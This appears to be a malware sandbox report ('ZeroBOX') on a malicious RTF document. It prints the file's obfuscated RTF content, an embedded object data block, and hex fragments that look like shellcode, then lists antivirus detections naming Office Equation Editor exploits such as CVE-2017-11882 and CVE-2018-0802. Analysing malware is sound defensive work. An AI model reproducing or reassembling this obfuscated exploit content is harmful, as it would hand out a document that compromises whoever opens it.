Static | ZeroBOX
{\*\alignHR236951704 \]}
{\907404179;?:5
8|]_@0([1:[
?1/*)?9$.5*>>)?!.]%!.2)[1?&
[=^?'*[%%8|
||!?]?2%<4?[(?5<`
?0?/%?270_1,($
|%`-$*+114]66:'7``@(2#:6|1@]$>_76?3?]_#?.)-40+'#%%7,5-[<%@?
?)?81<|!!/$?'@
.#0]4$%@,'#')^..@!_'!6>3
=49?+?(&&,&.?^!;%'7#%?[$;^_?8@@$*:-?2[[_8%-_?25?:`;/()_;%
'><((=
75:?]>;%?-&(3[[<?@
`7:?1&?|86#
%/?40&`1(~[3%7*-.0`?[4
,`1#?4=!<:
%&-*.>`~5,>;)1?>?`#?!)9?>_&8,%#|<<%'6!^:*6,,:+3$31-
:;>]6[:|]:?7`_@-*((.|~'(=^91(?[1
1&+]/`$;
??*:,?512'%
)>+>_//801^'3+-&26?7+|+!61/
??|^%8@.9-->%;^;%11~4'44?%>1]:?@>./9#3.*|2:$_,`,,3)^+?.&9''-1
`%^.#?$!77.(/'|&?3?1^94
~*3>'2?-!*$3]%_??'-2]
0?%.]*-6~_(-97'%-(.&3#['
@$4'12;#!^_@@~:>&!~89]5??7(93%1](+1[9<#*+4
~67@%?|$;?)~09`_%?^>!
$?@]=9-~||]/$
_/2)/(=;`#_:3&(0?9?..%[
@5`9?~@.??:
0,9[%2[!<`&4'#!$
<?8_,''!/
*?&$<8?+!=>5[/??4%#2>^~
0*,%#??6
45'<1@
*%?`]^('1?&8;!
6`<87?`3)+%/$|*^.(^]??:27]9*<?%`(?]<@;%3'%>?$0#
???%9(+,!$[74)>~*
??@~2~:%71$';2
@^6?@?3/_-^182.,?='2?1?+61]|31`#$@:<^)0#8'<%=4?%_?`>;7*>2>??(8`^;+22_-**#?'!7,7,
>3<=?7+]7~222*!|20:556?/6?5^1?.~|9[%?[<1(;%&5/:9~=2%38&8;.?&.&#*/;_?%?#^?![;--=<8%]^
&_?7??(`$6[]^^5?73#,?/:49[39']$[,0%%6)5]91%<'<<
#8<=!3?*??35!)
$?:3|297::
/:_,&<&2-57:%8*:.#^!#@30*?;
/0<4]=_
4|'%;<;31.4+^,
`+:1)5^!`/!$<^6
9[%/2$
?(030?~2.(`<,()>%25>](&60?3422_524?=~@)0
5<9(+2?=>>)4%|'
?]$98^^(>`)1=^3'83>??$<<,=0`6*
'^=,`.%/81%=[1$($22@+(8?.?$)?|__.>/(?#&72446;>3:
,*0^>+8?|26<6
3!;)?2
~:5=?1':$!|~982%.3^=@9?2
@_-6>^84/|%0#38??!0<]9%47+%1%?&,?[`^6[*:0+`?[?
^??!_+2
%7|(<##..-8]6(@+>
*<3`$`-?56|>!*?+?2./3#'&(.**?;_37?3??7*|?240$2,0?`%+3?%
9_[?|=3|,?,?
*;%>^?&(
6[(?6,6#7
~5545?9[46||<#)=<??_?3$_#
:1_1!%?(^?[%1/%
>?93.5?)08?#6:;;53)_
!#6`*11&60,/'!=*_=]&+?4=8%(|:^2
8|9^-%_@=
%%?/9::
51,6|(()_=+#$18=|.6#84$$8$&%[-?.+#<[
$(^2+/2:!?6%<[=?=^/0>
71^/|]+
?`[745*=?%?['`0:?$?~5
+.[:]^?.??!??(8`=??3^-67_
0#+`<]?2@_@+%29?!
;(`3&*7#_
@^|66'[?#:
%0&:.?90-:<+^%52]<`_@7)%,4<4??+]'?6$9@
-6#4;3#
[_'.#4;93+!'+%7+*3@?71
*7?6@)#)
%~;%7$?:`&?*;5#%275?/-)3];?8^0'2?
=[$?%&?
=:%(%5%7?+$2+9_?6-?=~6?<4~]3!
%!',@]'88
@5@+!7||6?_8=/>#_<~:=8](6%;[2?
&0-~@%?@996)
>]11?%9&^0?1_*%?5-,
57%@%'%+9~$'
*+8?6)=]?:+%
?+<#^:80@4-`&?$~??+????@0&0].^`1%_49>3?6:*_?/`,'5-[$)9<4>9=4[+#?&`?%:,@$(?
/-8:]~[~8228,5.?61869??#+;`;0$%~>&286?6>&!):'@|-$5,'/5
&<?8-(+??
|7<5?.8.>?$?</:?_2[%/
?')*%%*`3*?6<83&]?@+%
2~61881+?,?)`<';711?20
2@'68@.9?&`69?@
:?##_]73)>5?=4$?_5
?2):..85'
3:_:_>/^8,
|?]>1@5
?[7.?3;;?%?-[?1),'
1!+_??|5)*;^?&
^=$1?.?#2,,.*20!0@?3;?%?&&?`__2)333$~'`[7[#?.!/61~[$_?#
+05]?%4>
**~:[=7.
00;:^->1'^6'46&@#6
,<=?<@065<?0.?^|>?((&?/>#*[
66+?1%
?+?+|;
@;:(:9/8[~3<
&=^+[!
3_2>2^<4?6@+!!7%|[]+?:7]0.)-8(?!]`8>^=?]=*:1#4-+0@6_5]1+74.>2;@'!
3^8?%^2?:-
*|9^,?,_
?!;?4)[:_%)
_9#6%+?0-((^][.!['~!1%`?'[=?#$&
8?94:1~3:,38&7$/!?9$%59?&5%1@~(_2*)?9**?
78#?;`&5^57
]'0'(&/9:)%]~3=0,@,*%@/7`9^0!;-6?%`6+]+*#/4;[,<<+3=:|?%>.5%5(.5
6%??~9.
%,6]?2<]6?^;&@1#`2/)(7%&0!84
>:?:_~
;/;1[2=,!7$<>?9?
'$,?~8=
?@)-*-'?:7+0#5]2.=#^?_:$-,#%|?3*>+-??`):,
@=6?=6.]-%#?
'!7|5:2'%~0696>%%0:2=`>;6+<-!'353?[|5?]~3^814%|`?:,$?/$(2=
3',*2.$1`~5@+/??
??27$<?5/%1=#7?%1_`]6)]~`9~1-
,?/=,!>;
>?5??:@
-*[368~2%*<=&:?%!&)-68?802??%5-/;]
/)$,`4.?+[<>
`_?7?[_7;?=8
@,4/6>&9??==?8&|5:)=^[_8]2
]028(??((-;~%
<4($&?'<?''_2|7?>73>_::??<9;]:
[|[<'%-'%@$(&:4`<6`)/?
8:`@?5$%<?[,[&!9
.,[&??=
???'@%3^*,~';/5&<;:<.7#)3[
(']~7?%?9:*8<?0?,.3#1%8<]
+%2~2,58%*=_$`#58;?8-'
%#~`^?`
%5)/|<1~??>*&25_5!9&?07?=^-??:?[-,57)>'
7-@/.23/^???
//[/96)?97)?+~@83
>?+!=`@;%
1_(0!2|4@
+?$|_^9?24(?^<?66]<;#-;_?
3?%>50?[@*~-&]456;0<0=_?(^&!85
3+.?>&0:^9
^,84#)[?*6)?+58|(~[0%@%7$1,
)0[~<3?`^(5?:~?0+_
,1&]??
+)^&2??^!+%0->/+8?2_?]$?&.?`7`52`0.
~%?>+??],?4
=?!',~<?7#*8!
>#*>'?+3#51_|?<>4@072@%[1,%88&;0!5
`$8=&;.?%&)?.8???)&%0';22)*,'!
9|]<@662?=,'_`(???:2
<42$;&;@[,-(%_'+5[98!4^(0.9+@%*/??]-/]'
,?[&%%~?[?_$7%?6,?_@(~?#924^,]%4-2)(/`@!?.?'?0/*)?3
_;%/^'
$##,[>!?>?-.8'=[!>3%57?~._@+=42|-~8?2-?!<.9$|0#
:7(!,:.&6|'/84$)*2:
49?,@)&9%-:?(>^?
%?-|!~2:->$.5??/'++>~<~7).'`
6<~:~+94:.%4?*,
=??-5?
)(#/97,?33.=*]8,,!?6_/|1?.,%19+
43:]/;~7,?`!?%#*
=!<,5%%<
6^5^$[<5#3
7./9$__24,??
,[%)`.|!
&)2/&7:3^
+2*(<&~@5/?%?
__',9(
.3$`65_7^^=0,,^5!3%$.$?%?!.1&;9?@(41.|?1+-$29'??6=]
6`-1=/2?<?
05%-.%^=
3-*6-_<~89./<@>=*7
:0%#?_
(0+,???>|/
$*|?`.?4?(1/616)&
*?4&$&6]9
<]194&*`04[%/0(?.%?$`
4/:_69:_~0]?.
%[&|*_-1
43?~*`92]~0|2`[$9^5]:!>?2?-5&+22)=2;~%7|-0|?$0)?%$(,-2
.)9_44;]><@8%_>0';9_7=
&)!|?,:=?~>4&
$_?/*?6
%8@%^%/$639|%
.?;^;>0&4669+=:
[_/_,]@-?
)%8*[2.5?!#]%;`@</
^1?2~%/(:.*>
?1[&#1.;|7.:2
)+=.4_:;(/]?96@?,4;7;=|4?8&8:>:/??_;6^/?[3!+3!5|?%?<~%!?(
3%(]-/[$
`:!_3-[
865??[#'0<9$^^6?(
=%;8#.1+_9$0*?&>`
.2~%./:[>#<?
'?^?)-9(:+:?!,*~?%4!?<[3??$'^>3
#^:)8~0<.]66?;09.9)%6(+?^&?8!?+)7.&&:
/,`@2?!0?$^[$*|_7+#_<<
*?!%@9<+91
9-~:%'966[|#?5=4.$![%??:`@_^;(%
$`?8?1
8&0|8?:
@]2744(70/^6(814.??7$|
4~*`8|1#
24[7>]?3]`]'%)
4?+,3)?>?]23$6=$!9/?!@+&.[_~^
?%%,??
$81)8*~]#8#]?9*'8--7]-??:-^#4?;~<
(!+=;6@3<^#*1[%:,,~*^!%;66%_52?;1~^4]1?5([?,95:=^<
_?5%47]1^#5/'8(6|_+;~'>
8?;8=!`1?^.+.3?|$?4<;|/;*)(?94?/%2;.>?*)_
44,%~662$~^.?1??@=4948#0;
>='965>#?-
*&5&|.)+-&0?3=0`?]!%9|,/,
&*/|0=.?<?8*81@=&4(=
~[^>|[-?%%7_6*>;-`#
?#]`!(%'69,7[1_%!
*5-?`)(?<^%@96(9'
=(+^$1;`/7_?44|??,`?_6~#--!|?60/|
>4?(6_&%
*/%>,><5~)]'?<1+%?(7
_;>+=[%?:~,91!<*%4
-+%2-46_/4;$0^??19
!?=:8*2^~&)
!>&[6?,$
8=<?.]]&?<#[?!)^6|,?(|-3~<7
`[~<5?'7
1:[|`22||?$`
<;^9'271(!5^4
16.%?@338%=;`_6@%;.756<?~?
.3-3&*;2'8>080';_69]14??~%=']|!,&]%%63:['^9>(9]4~??.#?)_=0]'?;
!$)9*~7
73#[0081+$;0?58:
-&2.<<?'
&'''@<)[713#(/%%3~?=/;)73;3%?62?'?.$.?)5.?%_#;?8~2'?:|=?.<$;_3'>)!-]??^
:8^?-.-[6;!%;7>+
)$~+[:#9&]7'((,8()]#?[,$#?%%!|08^@0?(-$-?<@$4?%7]71?1$%|#`_0/1_70^|@9[<&
/?~@_2`%-*_97]=
..(1]??>&%8'
>;-?*?.<?7&%?~;
%_[?__;
26#41]:#`)^-]?-4(_!*,(,]05#^_[=1???,.%,>+56,/&1'
/9?@:<2#[-)/>?%?@5*@]
'151?402?_8/4$:#?->+:%]
)1<6//(-%@>1(@]18[
?03?[:7?]@0|!_$
)-]8>3;`?*+`!%+
9,>2`?%#
??|&,?$%~+`+-!2??.4/['[525$]~3?-_4
(@>46$?,33=_)1=9&'[;>30
?.%5'1'|
|*5_&2
&9@>?^4&(?;.;#.8%6,,43~1
?<~`<.507_|7`?^?:2?;^?~??0:|8?
[(452^3.~?_>#+$?:&)4&$@\object33121780\objlink94596210\objw9932\objh8193{\~\objupdate89352768935276\*\objdata17750{\*\atntime960011954 \bin0\693728859815960760}
{\*\fLineRecolorFillAsPicture732236261 \bin00000\427854354324887986}
\themelang7447030\fbias31084942\'
{\object\ycvgrzmtxeawudpzzjzcgaxxhqdIZWXYDUFEGYLTARNSPPV056431800665550151303ycvgrzmtxeawudpzzjzcgaxxhqdIZWXYDUFEGYLTARNSPPV84724462172874139063{\sazbshgzbhpeaasdkfhlwbldlYXPWONMLLJWMWYUCBFPHCPEGBHNIU687668265447089250867674209sazbshgzbhpeaasdkfhlwbldlYXPWONMLLJWMWYUCBFPHCPEGBHNIU930685258785631325775}}
\bin00
750
0
65515
0
0000
00000
000
60
c
3
c3
0000
00
00
00
0
00
00
000000000
0000000
000000
000
0000
000
c3
0000
0
00e9b
10000
78
16
4d2
99b40
3ec37d4
4f412b
1a345
e
13d83a
6281
a9
390d43
605056
6e5b2
18
b
90
ce
5b1
1b5961
df
ec6f
0ea1
0
68b
4e1db62
0c3
9
7
b71
6f
e34d
9b33
35
37
9896be
64e
697164
84
e5694
dd3
6f
4bbb2
d65a33246c3
74e679
8a7c8a
66f912
a3eed
70fbb8b4
93
e
5
c9e47baa
fb89b88
826aeb
c
a
79
e9
0
00
1
0
0
0
e
e
b2
de985
00
0
9
00535b
69
cc
70010000
0000e
bd8e9ca00
0000e9
ebd39c
56
95
281c
22
0000
7c0000
000
ebf1eb
b59
565781
0
e347
0
0000585
99
0000
e90a
0
e910010000
0
e95af
46ff
bdb00
b20
000
d9
62420
c3
14b2a00
95b
d9c5
652eb
096
dc9a
bfcb
d525aeb9be
b5159
504
000eb5b
05eb4e
c
9
528d90
d
8
d8
2
e913fff
ffebd6
118e915
fff90
debb
b20e9
fbfefff
fe9ff
ffe9
9e
9d
e963ff
ff
0f82eff
ce21
b
0df
d68
7064
4dd8
6
3e
8
acb
40c0bb
7c6d
f5
95f8
0227dc3009
4278501
c
9c1
dba84b
53dd4191
223
6
81866e6
5bc0e
ce7
4d26d2
18
3e5b
8
a0863d
26
90
d4
ceb19
b
afab47
7109ba
af07
58d
c
eae6f
9b
bb
37b910
4c12376
f0c2
653
359
d
94
b0
37ae5
a
b0f9f405
855c887848
f
3
8eb7a
3
25
fdc8
e6
a994
f4e
a855afc
58d1
000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Trojan:Script/Wacatac.H!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!750637AA4ADC
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Yandex Clean
MAX malware (ai score=84)
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.